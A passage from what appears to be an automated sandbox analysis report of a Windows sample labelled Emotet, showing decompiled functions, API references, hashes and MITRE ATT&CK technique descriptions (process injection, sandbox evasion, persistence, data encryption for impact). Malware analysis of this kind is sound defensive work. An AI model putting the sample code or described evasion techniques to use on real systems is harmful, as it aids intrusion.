					__eflags = _t55;
					if(_t55 != 0) {
						 *_t55 =  *_t62 & 0x000000ff;
					}
					_t59 = 1;
					goto L21;
				}
				_t49 = _a4;
				if(_t49 != 0) {
					 *_t49 = 0;
				}
				goto L5;
			}

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00415509
__isleadbyte_l.LIBCMT ref: 00415537
MultiByteToWideChar.KERNEL32(00000080,00000009,00000108,00000001,00000000,00000000), ref: 00415565
MultiByteToWideChar.KERNEL32(00000080,00000009,00000108,00000001,00000000,00000000), ref: 0041559B

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 3710f688a2b214f1cf60e7ff4e19daede13986bfed869f9c0a6359568c9f5529
Instruction ID: 478774b0f7d39393cd8bf266ab152c9b1bceb49f68e4d9ca76d912dad007dec8
Opcode Fuzzy Hash: 3710f688a2b214f1cf60e7ff4e19daede13986bfed869f9c0a6359568c9f5529
Instruction Fuzzy Hash: 9331C031600A46FFDB218E69C845BEB7BA7FF81310F15402AE86597291E734E891DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401260, Relevance: 6.0, APIs: 4, Instructions: 49
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401260(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				struct tagPOINT _v12;
				long _t12;
				int _t20;
				long _t22;

				_t12 = GetWindowLongA(_a4, 0xffffffeb);
				_t20 = _a8;
				_t22 = _t12;
				if(_t20 == 0x14) {
					L6:
					L00401005(_t22);
					goto L7;
				} else {
					if(_t20 == 0x113) {
						if(_a12 == 0x4b0) {
							goto L6;
						}
						L7:
						return 0;
					} else {
						if(_t20 == 0x205) {
							GetCursorPos( &_v12);
							TrackPopupMenu( *(_t22 + 0xc), 0, _v12, _v12.y, 0x64,  *(_t22 + 0x14), 0);
							return 0;
						} else {
							return DefWindowProcA(_a4, _t20, _a12, _a16);
						}
					}
				}
			}

APIs

GetWindowLongA.USER32 ref: 0040126C
DefWindowProcA.USER32(?,?,?,?), ref: 00401296
GetCursorPos.USER32(?), ref: 004012A7
TrackPopupMenu.USER32(?,00000000,?,?,00000064,?,00000000), ref: 004012BF

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: Window$CursorLongMenuPopupProcTrack
String ID:
API String ID: 1794703793-0
Opcode ID: d5af5e9bbd54771d4f90c30ccf96748d4a38a08e97c498cb83b3451f644df746
Instruction ID: e542749ba296fdd87e3a5beb6a412bebb88910c97f6c43a1d3d2113e5c2dfe96
Opcode Fuzzy Hash: d5af5e9bbd54771d4f90c30ccf96748d4a38a08e97c498cb83b3451f644df746
Instruction Fuzzy Hash: B201753250410CBBDF259F94EC09AEF7B65EB04311F0046AAFE02A55F0D7B65960DB95

Uniqueness

Uniqueness Score: -1.00%

Function 0041C101, Relevance: 6.0, APIs: 4, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041C101(void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E0041C670(__eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E0041C1A5(_a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E0041C924(__esi, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E0041C845(__esi, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

APIs

__cftof_l.LIBCMT ref: 0041C125

Part of subcall function 0041C845: __fltout2.LIBCMT ref: 0041C86E

__cftog_l.LIBCMT ref: 0041C14B
__cftoe_l.LIBCMT ref: 0041C17D

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 9e2707e79c112db0bd1b87ffd3fb653869e533c69894d3168685ae0c76429fca
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: D4014E7608014ABBCF125E84CC81CEE3F62BB19354B588516FE1858132C23AC9B2AF85

Uniqueness

Uniqueness Score: -1.00%

Function 0041349B, Relevance: 6.0, APIs: 4, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0041349B(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t24;
				void* _t28;
				intOrPtr* _t40;
				void* _t41;

				_push(0xc);
				_push(0x434708);
				E00406830(__ebx, __edi, __esi);
				_t28 = E00404224();
				_t40 = E0040CFF1(8, 1);
				 *((intOrPtr*)(_t41 - 0x1c)) = _t40;
				if(_t40 != 0) {
					E0040E856(_t28, __edx, 1, _t40, __eflags);
					E0040DCE3(_t28, __edx, 1, _t40, __eflags);
					 *_t40 =  *((intOrPtr*)(_t28 + 0x6c));
					 *((intOrPtr*)(_t40 + 4)) =  *((intOrPtr*)(_t28 + 0x68));
					E00406D5B(0xc);
					 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
					E0040E5C7( *_t40);
					 *(_t41 - 4) = 0xfffffffe;
					E00413B6A();
					E00406D5B(0xd);
					 *(_t41 - 4) = 1;
					asm("lock xadd [eax], edi");
					__eflags = 2;
					 *(_t41 - 4) = 0xfffffffe;
					E00413B76();
					_t24 = _t40;
				} else {
					 *((intOrPtr*)(E00403FAC())) = 0xc;
					_t24 = 0;
				}
				return E00406875(_t24);
			}

APIs

Part of subcall function 00404224: __getptd_noexit.LIBCMT ref: 00404225
Part of subcall function 00404224: __amsg_exit.LIBCMT ref: 00404232

__calloc_crt.LIBCMT ref: 00413AE9

Part of subcall function 0040CFF1: __calloc_impl.LIBCMT ref: 0040D000

__lock.LIBCMT ref: 00413B1F
___addlocaleref.LIBCMT ref: 00413B2B
__lock.LIBCMT ref: 00413B3F

Part of subcall function 00403FAC: __getptd_noexit.LIBCMT ref: 00403FAC

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 48566344ed146de0b8674f4dbf59565948250181c04cde4cea3d311e08d734ea
Instruction ID: 71ee6f97926f3856fb38d8acc99325eff636b6c3a3e39db7baf9f8622fdefe90
Opcode Fuzzy Hash: 48566344ed146de0b8674f4dbf59565948250181c04cde4cea3d311e08d734ea
Instruction Fuzzy Hash: 55019272A05300EBE720FFBB8802B4D77E0AF84725F21815FB055AB2D2DA7C5A41DA5D

Uniqueness

Uniqueness Score: -1.00%

Function 004013C0, Relevance: 6.0, APIs: 4, Instructions: 45
windowCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E004013C0(void* __ecx, char _a4) {
				signed int _v8;
				struct tagRECT _v24;
				void* __esi;
				signed int _t10;
				char _t12;
				intOrPtr _t17;
				struct HWND__* _t18;
				void* _t21;
				void* _t25;
				void* _t26;
				void* _t27;
				signed int _t28;

				_t10 =  *0x435040; // 0x35ed344a
				_v8 = _t10 ^ _t28;
				_t12 = _a4;
				_t27 = __ecx;
				 *((char*)(__ecx + 0x1c)) = _t12;
				if(_t12 != 1) {
					_push(0);
				} else {
					_push(8);
				}
				CheckMenuItem( *(_t27 + 8), 0x8007, ??);
				GetWindowRect(GetDesktopWindow(),  &_v24);
				_t17 = _v24.right;
				_push(0);
				_push(0x15);
				if( *((char*)(_t27 + 0x1c)) != 1) {
					_push(0x60);
					_t18 = _t17 + 0xffffff5a;
				} else {
					_push(0x6f);
					_t18 = _t17 + 0xffffff4b;
				}
				SetWindowPos(0xffffffff, _t18, 0, ??, ??, ??, ??);
				return E004023FF(_t21, _v8 ^ _t28, _t25, _t26, _t27,  *((intOrPtr*)(_t27 + 0x18)));
			}

APIs

CheckMenuItem.USER32(?,00008007,00000000), ref: 004013EB
GetDesktopWindow.USER32 ref: 004013F5
GetWindowRect.USER32 ref: 004013FC
SetWindowPos.USER32(?,000000FF,?,00000000,00000060,00000015,00000000), ref: 00401427

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: Window$CheckDesktopItemMenuRect
String ID:
API String ID: 2929785785-0
Opcode ID: d7b958e3aee06e6d16f74cefa40718701726e5fac4f80c110971a0d47a9ed7f9
Instruction ID: 4ec6a214ad47736028020126bdc7e96f7facac43f8b83d50418b479398a935c3
Opcode Fuzzy Hash: d7b958e3aee06e6d16f74cefa40718701726e5fac4f80c110971a0d47a9ed7f9
Instruction Fuzzy Hash: B1017031544708BBDB109F78DC05F5B77B4AF14310F1047B5F641BA1F1C6B599059B58

Uniqueness

Uniqueness Score: -1.00%

Function 004017C0, Relevance: 6.0, APIs: 4, Instructions: 41
timeCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E004017C0(void* __ecx) {
				signed int _v8;
				struct tagRECT _v24;
				void* __esi;
				signed int _t8;
				intOrPtr _t13;
				struct HWND__* _t14;
				void* _t19;
				void* _t23;
				void* _t24;
				void* _t25;
				signed int _t26;

				_t8 =  *0x435040; // 0x35ed344a
				_v8 = _t8 ^ _t26;
				_t25 = __ecx;
				GetWindowRect(GetDesktopWindow(),  &_v24);
				_t13 = _v24.right;
				_push(0);
				_push(0x15);
				if( *((char*)(_t25 + 0x1c)) != 1) {
					_push(0x60);
					_t14 = _t13 + 0xffffff5a;
				} else {
					_push(0x6f);
					_t14 = _t13 + 0xffffff4b;
				}
				SetWindowPos(0xffffffff, _t14, 0, ??, ??, ??, ??);
				SetTimer( *(_t25 + 0x18), 0x4b0, 0x1f4, 0);
				return E004023FF(_t19, _v8 ^ _t26, _t23, _t24, _t25,  *(_t25 + 0x18));
			}

0x004017c6
0x004017cd
0x004017d4
0x004017de
0x004017e8
0x004017eb
0x004017ed
0x004017ef
0x004017fa
0x004017fc
0x004017f1
0x004017f1
0x004017f3
0x004017f3
0x00401809
0x0040181e
0x00401834

APIs

GetDesktopWindow.USER32 ref: 004017D7
GetWindowRect.USER32 ref: 004017DE
SetWindowPos.USER32(?,000000FF,?,00000000,00000060,00000015,00000000), ref: 00401809
SetTimer.USER32(?,000004B0,000001F4,00000000), ref: 0040181E

Memory Dump Source

Source File: 00000004.00000002.517349671.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.517330948.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517474954.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517525073.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.517547397.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.517583104.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_networkitemfactory.jbxd

Similarity

API ID: Window$DesktopRectTimer
String ID:
API String ID: 91234172-0
Opcode ID: 1c68ad366e7c43d19bd62a89e4fa351b2cce032a6b5b0dd0a4360c209e5c7187
Instruction ID: 6b23f4df32dcc82ddab87783e5b9c350f650593cbea79607f5b37a938873731b
Opcode Fuzzy Hash: 1c68ad366e7c43d19bd62a89e4fa351b2cce032a6b5b0dd0a4360c209e5c7187
Instruction Fuzzy Hash: 5801F971A40708BBDB109B74DC0AF6B7774EB04711F1006B9FA12AA1E1DAB5AD049B48

Uniqueness

Uniqueness Score: -1.00%

Function 02092430, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00000040,00000004,?), ref: 02092468
VirtualProtect.KERNEL32(00000000,000000F8,00000004,?), ref: 020924B2

Strings

@, xrefs: 02092453

Memory Dump Source

Source File: 00000004.00000002.518992835.0000000002091000.00000020.00000001.sdmp, Offset: 02091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2091000_networkitemfactory.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 8dc70fe77fb22ebc62900b305082405c4b08a28d3bd57062b53b834d1b190c9a
Instruction ID: c4c3e889d6774e0c9a904274861691b91208c856d1a96d80038ba5625e1557ae
Opcode Fuzzy Hash: 8dc70fe77fb22ebc62900b305082405c4b08a28d3bd57062b53b834d1b190c9a
Instruction Fuzzy Hash: C021E7B4E04209FFDF14CF98C984BAEBBB5BF45304F208599DD06AB240C774AA80EB55

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report RpcNs4.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Emotet

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

E-Banking Fraud:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

Function 020B3890, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 189
fileCOMMON

Function 00401880, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68
libraryloaderCOMMON

Function 00402AEC, Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 89
COMMON

Function 00402000, Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 122
windowlibrarymemoryCOMMON

Function 020B9700, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 183
COMMON

Function 020B3060, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 160
memoryCOMMON

Function 00402190, Relevance: 4.6, APIs: 3, Instructions: 109
COMMON

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre